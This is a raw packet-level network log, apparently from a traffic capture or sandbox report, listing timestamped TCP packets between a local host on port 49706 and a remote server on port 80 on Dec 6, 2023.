Dec 6, 2023 14:33:03.881303072 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881319046 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881356955 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881370068 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881411076 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881422997 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881443024 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881464958 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881486893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881501913 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881516933 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881539106 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881561995 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881584883 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881619930 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881638050 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881704092 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881716013 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881738901 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881752014 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881763935 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881793022 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881865978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881897926 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881910086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881938934 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881939888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881952047 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.881974936 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.881998062 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882002115 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882029057 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882050991 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882060051 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882106066 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882117987 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882128954 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882141113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882148981 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882162094 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882178068 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882216930 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882222891 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882235050 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882246971 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882257938 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882275105 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882292986 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882296085 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882327080 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882356882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882411003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882411957 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882422924 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882457972 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882468939 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882528067 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882534981 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882570028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882606983 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882626057 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882771015 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882783890 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882796049 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882807016 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882810116 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882817984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882844925 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882847071 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882879972 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882880926 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882894039 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882905006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.882925987 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882944107 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.882966995 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883009911 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883053064 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883084059 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883136034 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883161068 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883167982 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883174896 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883191109 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883224010 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883302927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883320093 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883363008 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883419991 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883466959 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883506060 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883510113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883522034 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883568048 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883570910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883594036 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883629084 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883650064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883671045 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883708000 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883714914 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883737087 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883765936 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883766890 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883789062 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883816957 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883840084 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883851051 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883862019 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883882999 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883883953 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883915901 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.883934975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.883969069 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884004116 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884013891 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884026051 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884047985 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884059906 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884206057 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884217978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884242058 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884274960 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884308100 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884368896 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884418964 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884455919 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884478092 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884550095 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884562016 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884584904 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884598017 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884598970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884610891 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884623051 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884648085 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884654999 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884675980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884707928 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884711981 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884730101 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884742975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884763956 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884767056 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884804964 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884815931 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884829044 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884839058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884850979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884865046 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884882927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884887934 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884929895 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884943008 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.884963036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884975910 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.884994984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885032892 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885051966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885063887 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885097980 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885116100 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885166883 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885179043 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885200024 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885302067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885314941 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885363102 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885376930 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885411024 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885437965 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885500908 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885513067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885534048 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885565996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885586023 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885607004 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885627985 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885651112 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885662079 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885680914 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885691881 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885720015 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885740042 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885751963 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885780096 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885792971 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885804892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885834932 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885896921 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885909081 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885934114 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.885955095 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.885994911 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886012077 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886030912 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886034012 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886058092 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886069059 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886107922 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886136055 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886141062 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886174917 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886244059 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886256933 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886286974 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886348963 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886387110 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886399031 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886418104 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886522055 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886537075 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886555910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886567116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886568069 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886576891 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886600971 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886605978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886637926 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886688948 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886718988 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886719942 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886754036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886754036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886780024 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886814117 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886852026 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.886861086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.886979103 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887016058 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887032032 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887043953 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887065887 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887079954 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887087107 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887109041 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887125969 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887150049 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887187004 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887211084 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887370110 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887382984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887408972 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887418985 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887454987 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887506008 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887597084 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887609005 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887629986 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887661934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887698889 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887768030 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887814045 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887847900 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887847900 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887885094 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887921095 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887921095 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.887957096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887969971 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.887989044 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888010025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888022900 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888042927 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888055086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888067007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888087988 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888119936 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888153076 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888159990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888215065 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888250113 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888268948 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888292074 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888326883 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888430119 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888442039 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888453007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888475895 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888484001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888516903 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888525009 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888602018 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888614893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888636112 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888648033 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888679981 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888689041 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888700962 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888736963 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888771057 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888783932 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888793945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888804913 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888816118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888819933 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888844013 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888921022 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888933897 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.888956070 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.888999939 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889029026 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889034033 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889051914 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889082909 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889105082 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889174938 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889206886 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889265060 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889277935 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889309883 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889343023 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889482021 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889522076 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889544010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889556885 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889586926 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889600039 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889612913 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889643908 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889658928 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889715910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889729023 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889739037 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889750004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889751911 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889775991 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889777899 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889812946 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889834881 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889847040 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889857054 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889878035 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889880896 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889902115 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889913082 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.889952898 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889966011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.889986038 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.890042067 CET	80	49706	104.21.73.195	192.168.2.5
